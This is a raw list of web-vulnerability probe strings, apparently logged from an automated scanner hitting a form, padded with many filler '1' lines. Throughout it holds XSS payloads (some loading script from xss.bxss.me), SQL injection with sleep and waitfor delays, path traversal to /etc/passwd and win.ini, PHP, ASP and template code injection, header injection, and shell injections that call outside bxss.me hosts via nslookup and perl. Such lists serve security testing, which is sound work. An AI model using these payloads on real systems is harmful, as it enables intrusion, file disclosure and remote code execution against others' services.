HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
'"
<!--
1'"()&%<acx><ScRiPt >xn0m(9782)</ScRiPt>
'"()&%<acx><ScRiPt >xn0m(9378)</ScRiPt>
19854177
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
../../../../../../../../../../etc/passwd%00.jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
../././../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
/WEB-INF/web.xml
WEB-INF/web.xml
WEB-INF\web.xml
${9999947+10000390}
1YFS7CS4O
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
1some_inexistent_file_with_long_name%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
bxss.me
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9144298*9903510)
1
'+response.write(9144298*9903510)+'
1
"+response.write(9144298*9903510)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
../1
1
1
1
1
1
1
1
1
1
echo ympger$()\ mbrxtp\nz^xyu||a #' &echo ympger$()\ mbrxtp\nz^xyu||a #|" &echo ympger$()\ mbrxtp\nz^xyu||a #
1
1
&echo azuetu$()\ woeyaj\nz^xyu||a #' &echo azuetu$()\ woeyaj\nz^xyu||a #|" &echo azuetu$()\ woeyaj\nz^xyu||a #
1
1
1
|echo tbqvpo$()\ ktxlxy\nz^xyu||a #' |echo tbqvpo$()\ ktxlxy\nz^xyu||a #|" |echo tbqvpo$()\ ktxlxy\nz^xyu||a #
1
(nslookup hitumzpnnsjtf9c193.bxss.me||perl -e "gethostbyname('hitumzpnnsjtf9c193.bxss.me')")
1
1
1
1
$(nslookup hitegtimjplxl0874e.bxss.me||perl -e "gethostbyname('hitegtimjplxl0874e.bxss.me')")
1
1
&(nslookup hitpgvcizbygg48638.bxss.me||perl -e "gethostbyname('hitpgvcizbygg48638.bxss.me')")&'\"`0&(nslookup hitpgvcizbygg48638.bxss.me||perl -e "gethostbyname('hitpgvcizbygg48638.bxss.me')")&`'
1
1
|(nslookup hituisnecnwumfe9c2.bxss.me||perl -e "gethostbyname('hituisnecnwumfe9c2.bxss.me')")
1
`(nslookup hitlxsdwxbgdge7689.bxss.me||perl -e "gethostbyname('hitlxsdwxbgdge7689.bxss.me')")`
1
1
1
;(nslookup hitumkfjxtslhea6f8.bxss.me||perl -e "gethostbyname('hitumkfjxtslhea6f8.bxss.me')")|(nslookup hitumkfjxtslhea6f8.bxss.me||perl -e "gethostbyname('hitumkfjxtslhea6f8.bxss.me')")&(nslookup hit
1
1
1
1
1%0abcc:009247.49-1322.49.c324a.20155.2@bxss.me
1
1
to@example.com>%0d%0abcc:009247.49-1323.49.c324a.20155.2@bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(104).concat(70).concat(101).concat(81)+(require"socket" Socket.gethostbyname("hitny"+"rmousnzz68047.bxss.me.")[3].to_s)+"
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(101).concat(75).concat(109).concat(79)+(require'socket' Socket.gethostbyname('hitjg'+'nwpjgynx41fab.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
!(()&&!|*|*|
1
1
^(#$!@#$)(()))******
1
1
1
1
1
'.gethostbyname(lc('hitbz'.'hehpbskp90b57.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(86).chr(102).chr(83).'
1
1
1
".gethostbyname(lc("hitck"."uwencmci728e5.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(89).chr(110).chr(70)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
/xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >fY2a(9211)</ScRiPt>
1
1
1
1
'"
'"()&%<acx><ScRiPt >fY2a(9630)</ScRiPt>
1
1
<!--
1
1
19176266
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
';print(md5(31337));$a='
${9999549+9999365}
1
1
1
";print(md5(31337));$a="
1
1
1
${@print(md5(31337))}
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
1some_inexistent_file_with_long_name%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bqf2gdUM
-1 OR 2+880-880-1=0+0+0+1 --
-1 OR 2+420-420-1=0+0+0+1
-1' OR 2+306-306-1=0+0+0+1 --
-1' OR 2+446-446-1=0+0+0+1 or 'xqXhg4bA'='
-1" OR 2+816-816-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
1
8JZx5xjS'; waitfor delay '0:0:15' --
1
-5 OR 692=(SELECT 692 FROM PG_SLEEP(15))--
JNRNsgAD
-1 OR 2+744-744-1=0+0+0+1 --
-1 OR 2+367-367-1=0+0+0+1
-1' OR 2+510-510-1=0+0+0+1 --
-1' OR 2+834-834-1=0+0+0+1 or 'nccS4ben'='
-1" OR 2+210-210-1=0+0+0+1 --
-5) OR 411=(SELECT 411 FROM PG_SLEEP(15))--
if(now()=sysdate(),sleep(15),0)
-1)) OR 373=(SELECT 373 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
xjKOqD4d' OR 970=(SELECT 970 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
xujMiqF5') OR 148=(SELECT 148 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
NRCxfjXc')) OR 917=(SELECT 917 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-1); waitfor delay '0:0:15' --
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
@@LEqKX
1 waitfor delay '0:0:15' --
1
1'"()&%<acx><ScRiPt >6IAU(9532)</ScRiPt>
gvYberNA'; waitfor delay '0:0:15' --
'"()&%<acx><ScRiPt >6IAU(9547)</ScRiPt>
19501070
acu6450%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6450
acux5652%C0%BEz1%C0%BCz2a%90bcxuca5652
1
<%={{={@{#{${acx}}%>
-5 OR 740=(SELECT 740 FROM PG_SLEEP(15))--
1
<th:t="${acx}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
acx{{98991*97996}}xca
1
acx[[${98991*97996}]]xca
1
1
1
-5) OR 746=(SELECT 746 FROM PG_SLEEP(15))--
1
1
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1<ScRiPt >6IAU(9779)</ScRiPt>
1<W4UDOL>1TJYJ[!+!]</W4UDOL>
1<script>6IAU(9862)</script>
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%36%49%41%55%28%39%33%38%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1<ScRiPt >6IAU(9267)</ScRiPt>
-1)) OR 81=(SELECT 81 FROM PG_SLEEP(15))--
1
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9202></ScRiPt>
1< ScRiPt >6IAU(9048)</ScRiPt>
1<svg
1<isindex type=image src=1 onerror=6IAU(9485)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9356'>
1<body onload=6IAU(9045)>
zK1azvMj' OR 896=(SELECT 896 FROM PG_SLEEP(15))--
1
1<img src=//xss.bxss.me/t/dot.gif onload=6IAU(9647)>
1<img src=xyz OnErRor=6IAU(9409)>
1<img/src=">" onerror=alert(9461)>
%31%3C%53%63%52%69%50%74%20%3E%36%49%41%55%289164%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\6IAU(9868)\u003C/sCripT\u003E
EiBZ7nOT') OR 553=(SELECT 553 FROM PG_SLEEP(15))--
1
1<ScRiPt>6IAU(9468)</sCripT>
1<input autofocus onfocus=6IAU(9917)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
NvDRQQDR')) OR 193=(SELECT 193 FROM PG_SLEEP(15))--
1
1}body{acu:Expre/**/SSion(6IAU(9501))}
19jiIf <ScRiPt >6IAU(9527)</ScRiPt>
1<WVTI0F>HWZ6A[!+!]</WVTI0F>
1<ifRAme sRc=9576.com></IfRamE>
1<ak9N2qH x=9688>
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1<img sRc='http://attacker-9034/log.php?
1<afh3rBt<
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
1
@@YkSx0
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >nWnD(9501)</ScRiPt>
'"()&%<acx><ScRiPt >nWnD(9173)</ScRiPt>
19036893
acu8021%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca8021
acux3605%C0%BEz1%C0%BCz2a%90bcxuca3605
<%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1<ScRiPt >nWnD(9100)</ScRiPt>
1<W5UQ9F>DS9CI[!+!]</W5UQ9F>
1<script>nWnD(9310)</script>
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6E%57%6E%44%28%39%30%35%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1<ScRiPt >nWnD(9409)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9263></ScRiPt>
1< ScRiPt >nWnD(9066)</ScRiPt>
1<svg
1<isindex type=image src=1 onerror=nWnD(9448)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9489'>
1<body onload=nWnD(9822)>
1<img src=//xss.bxss.me/t/dot.gif onload=nWnD(9089)>
1<img src=xyz OnErRor=nWnD(9631)>
1<img/src=">" onerror=alert(9175)>
%31%3C%53%63%52%69%50%74%20%3E%6E%57%6E%44%289615%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\nWnD(9247)\u003C/sCripT\u003E
1<ScRiPt>nWnD(9206)</sCripT>
1<input autofocus onfocus=nWnD(9533)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
1}body{acu:Expre/**/SSion(nWnD(9719))}
1mo2mZ <ScRiPt >nWnD(9270)</ScRiPt>
1<W0FRPC>9IKM6[!+!]</W0FRPC>
1<ifRAme sRc=9297.com></IfRamE>
1<aaRKmF9 x=9880>
1<img sRc='http://attacker-9195/log.php?
1<aY00DFu<
1
1'"()&%<acx><ScRiPt >h6A9(9767)</ScRiPt>
'"()&%<acx><ScRiPt >h6A9(9078)</ScRiPt>
19010829
acu1687%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1687
acux2287%C0%BEz1%C0%BCz2a%90bcxuca2287
<%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1<ScRiPt >h6A9(9827)</ScRiPt>
1<WNJRHC>KGCUD[!+!]</WNJRHC>
1<script>h6A9(9412)</script>
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%68%36%41%39%28%39%35%38%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1<ScRiPt >h6A9(9351)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9747></ScRiPt>
1< ScRiPt >h6A9(9939)</ScRiPt>
1<svg
1<isindex type=image src=1 onerror=h6A9(9648)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9749'>
1<body onload=h6A9(9034)>
1<img src=//xss.bxss.me/t/dot.gif onload=h6A9(9229)>
1<img src=xyz OnErRor=h6A9(9158)>
1<img/src=">" onerror=alert(9633)>
%31%3C%53%63%52%69%50%74%20%3E%68%36%41%39%289532%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\h6A9(9883)\u003C/sCripT\u003E
1<ScRiPt>h6A9(9187)</sCripT>
1<input autofocus onfocus=h6A9(9069)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
1}body{acu:Expre/**/SSion(h6A9(9759))}
1d7FMq <ScRiPt >h6A9(9266)</ScRiPt>
1<WMN9MK>9DQTN[!+!]</WMN9MK>
1<ifRAme sRc=9608.com></IfRamE>
1<aYfxgiW x=9128>
1<img sRc='http://attacker-9619/log.php?
1<aXLbtNB<
1
<esi:include src="http://bxss.me/rpb.png"/>
response.write(9051304*9255089)
'+response.write(9051304*9255089)+'
"+response.write(9051304*9255089)+"
echo vizibj$()\ ztdczr\nz^xyu||a #' &echo vizibj$()\ ztdczr\nz^xyu||a #|" &echo vizibj$()\ ztdczr\nz^xyu||a #
&echo dpmwtw$()\ vvdxfa\nz^xyu||a #' &echo dpmwtw$()\ vvdxfa\nz^xyu||a #|" &echo dpmwtw$()\ vvdxfa\nz^xyu||a #
|echo qtypej$()\ wfemvl\nz^xyu||a #' |echo qtypej$()\ wfemvl\nz^xyu||a #|" |echo qtypej$()\ wfemvl\nz^xyu||a #
(nslookup hitnebvkfvmte4dcf0.bxss.me||perl -e "gethostbyname('hitnebvkfvmte4dcf0.bxss.me')")
$(nslookup hitqyoomguyamed525.bxss.me||perl -e "gethostbyname('hitqyoomguyamed525.bxss.me')")
&(nslookup hityomohgdytg33b9d.bxss.me||perl -e "gethostbyname('hityomohgdytg33b9d.bxss.me')")&'\"`0&(nslookup hityomohgdytg33b9d.bxss.me||perl -e "gethostbyname('hityomohgdytg33b9d.bxss.me')")&`'
|(nslookup hitvsdgfmctbv58840.bxss.me||perl -e "gethostbyname('hitvsdgfmctbv58840.bxss.me')")
`(nslookup hitnqjkcnesjefddb4.bxss.me||perl -e "gethostbyname('hitnqjkcnesjefddb4.bxss.me')")`
;(nslookup hitdugluclexr36b1f.bxss.me||perl -e "gethostbyname('hitdugluclexr36b1f.bxss.me')")|(nslookup hitdugluclexr36b1f.bxss.me||perl -e "gethostbyname('hitdugluclexr36b1f.bxss.me')")&(nslookup hit
%0abcc:009247.489-1033.489.3b23e.20156.2@bxss.me
to@example.com>%0d%0abcc:009247.489-1034.489.3b23e.20156.2@bxss.me
"+"A".concat(70-3).concat(22*4).concat(122).concat(87).concat(118).concat(89)+(require"socket" Socket.gethostbyname("hitlo"+"rahqsubn75f9a.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(109).concat(82).concat(109).concat(74)+(require'socket' Socket.gethostbyname('hitwx'+'bpvrvdhw5454d.bxss.me.')[3].to_s)+'
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../../proc/version
)
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
!(()&&!|*|*|
../../../../../../../../../../etc/passwd%00.jpg
^(#$!@#$)(()))******
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
'.gethostbyname(lc('hitxh'.'nzsvpqnib3a2c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(84).chr(109).chr(82).'
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
".gethostbyname(lc("hithq"."gitguwrj23a7e.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(73).chr(101).chr(77)."
../././../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
/WEB-INF/web.xml
WEB-INF/web.xml
WEB-INF\web.xml
/xfs.bxss.me
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
1'"()&%<acx><ScRiPt >YPEl(9446)</ScRiPt>
'"()&%<acx><ScRiPt >YPEl(9660)</ScRiPt>
19649545
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
'"
${@print(md5(31337))}\
<!--
'.print(md5(31337)).'
${9999701+10000311}
1eptlNVEO
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
1some_inexistent_file_with_long_name%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
bxss.me
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9235544*9884391)
1
1
1%0abcc:009247.489-1133.489.3b23e.20156.2@bxss.me
'+response.write(9235544*9884391)+'
1
1
"+response.write(9235544*9884391)+"
to@example.com>%0d%0abcc:009247.489-1141.489.3b23e.20156.2@bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(113).concat(86).concat(119).concat(83)+(require"socket" Socket.gethostbyname("hitiv"+"atxjtdhk12516.bxss.me.")[3].to_s)+"
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(118).concat(86).concat(113).concat(73)+(require'socket' Socket.gethostbyname('hitpi'+'ruiybulr7cd69.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitem'.'fqslxnapf116c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(73).chr(122).chr(77).'
1
1
1
1
1
".gethostbyname(lc("hitns"."ywkdcgehcd931.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(80).chr(99).chr(85)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
/xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
echo jnkakl$()\ dufgzc\nz^xyu||a #' &echo jnkakl$()\ dufgzc\nz^xyu||a #|" &echo jnkakl$()\ dufgzc\nz^xyu||a #
1
1
1
1
1
&echo ccfxlt$()\ ubqhsg\nz^xyu||a #' &echo ccfxlt$()\ ubqhsg\nz^xyu||a #|" &echo ccfxlt$()\ ubqhsg\nz^xyu||a #
1
1
1
1
1
1
|echo pkglgx$()\ juvzye\nz^xyu||a #' |echo pkglgx$()\ juvzye\nz^xyu||a #|" |echo pkglgx$()\ juvzye\nz^xyu||a #
1
1
1
(nslookup hiteeormnbbmr5c59f.bxss.me||perl -e "gethostbyname('hiteeormnbbmr5c59f.bxss.me')")
1
1
1
1
1
1
$(nslookup hitrsxfpgjpbwcc212.bxss.me||perl -e "gethostbyname('hitrsxfpgjpbwcc212.bxss.me')")
1
1
1
1
1
&(nslookup hitojiivjzpcm6d240.bxss.me||perl -e "gethostbyname('hitojiivjzpcm6d240.bxss.me')")&'\"`0&(nslookup hitojiivjzpcm6d240.bxss.me||perl -e "gethostbyname('hitojiivjzpcm6d240.bxss.me')")&`'
1
1
1
1
'"
1
1
|(nslookup hitohjkrjynxm0c370.bxss.me||perl -e "gethostbyname('hitohjkrjynxm0c370.bxss.me')")
1
1
1
1
<!--
${9999309+9999620}
`(nslookup hitckmsfglhrld44bd.bxss.me||perl -e "gethostbyname('hitckmsfglhrld44bd.bxss.me')")`
1
1
1
1
1
1
;(nslookup hitvykajyupyvb0e0e.bxss.me||perl -e "gethostbyname('hitvykajyupyvb0e0e.bxss.me')")|(nslookup hitvykajyupyvb0e0e.bxss.me||perl -e "gethostbyname('hitvykajyupyvb0e0e.bxss.me')")&(nslookup hit
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >Efcf(9928)</ScRiPt>
1
1
1
1
1
1
1
1
'"()&%<acx><ScRiPt >Efcf(9918)</ScRiPt>
1
1
1
1
1
1
19504711
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
${@print(md5(31337))}
1
1
1
${@print(md5(31337))}\
1
1
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
1
1
1some_inexistent_file_with_long_name%00.jpg
1
1
Http://bxss.me/t/fit.txt
1
1
http://bxss.me/t/fit.txt%3F.jpg
1
bxss.me
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
response.write(9349824*9460436)
1 bcc:009247.489-1164.489.c83b3.20156.2@bxss.me
1
"+"A".concat(70-3).concat(22*4).concat(106).concat(76).concat(102).concat(75)+(require"socket" Socket.gethostbyname("hitao"+"hmzomfuo84ac9.bxss.me.")[3].to_s)+"
1
'+response.write(9349824*9460436)+'
to@example.com> bcc:009247.489-1165.489.c83b3.20156.2@bxss.me
1
'+'A'.concat(70-3).concat(22*4).concat(112).concat(77).concat(106).concat(79)+(require'socket' Socket.gethostbyname('hitno'+'ijsypiax5f426.bxss.me.')[3].to_s)+'
1
"+response.write(9349824*9460436)+"
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
1
1
echo bqnipx$()\ ahuqbb\nz^xyu||a #' &echo bqnipx$()\ ahuqbb\nz^xyu||a #|" &echo bqnipx$()\ ahuqbb\nz^xyu||a #
)
1
1
1
../1
1
1
&echo bixnzj$()\ vylysy\nz^xyu||a #' &echo bixnzj$()\ vylysy\nz^xyu||a #|" &echo bixnzj$()\ vylysy\nz^xyu||a #
!(()&&!|*|*|
1
1
1
1
1
1
|echo ufwhjg$()\ lggmxz\nz^xyu||a #' |echo ufwhjg$()\ lggmxz\nz^xyu||a #|" |echo ufwhjg$()\ lggmxz\nz^xyu||a #
^(#$!@#$)(()))******
1
1
1
1
1
1
(nslookup hithmmoncwqxh4e111.bxss.me||perl -e "gethostbyname('hithmmoncwqxh4e111.bxss.me')")
1
1
1
1
1
1
1
$(nslookup hittpijycfcrf55bc1.bxss.me||perl -e "gethostbyname('hittpijycfcrf55bc1.bxss.me')")
1
1
1
1
1
1
1
1
&(nslookup hitnghvjlbytwd90ea.bxss.me||perl -e "gethostbyname('hitnghvjlbytwd90ea.bxss.me')")&'\"`0&(nslookup hitnghvjlbytwd90ea.bxss.me||perl -e "gethostbyname('hitnghvjlbytwd90ea.bxss.me')")&`'
1
1
1
1
1
1
|(nslookup hitqcumfklbvuab075.bxss.me||perl -e "gethostbyname('hitqcumfklbvuab075.bxss.me')")
1
1
1
1
1
1
`(nslookup hitnssclyyqapc85d1.bxss.me||perl -e "gethostbyname('hitnssclyyqapc85d1.bxss.me')")`
1
1
1
1
1
1
;(nslookup hitibqzzimxuj33619.bxss.me||perl -e "gethostbyname('hitibqzzimxuj33619.bxss.me')")|(nslookup hitibqzzimxuj33619.bxss.me||perl -e "gethostbyname('hitibqzzimxuj33619.bxss.me')")&(nslookup hit
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitux'.'wqucrnhz73392.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(79).chr(109).chr(67).'
1
1
1
1
1
1
1
1
".gethostbyname(lc("hitld"."tzkaylzfb5fd6.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(84).chr(121).chr(68)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
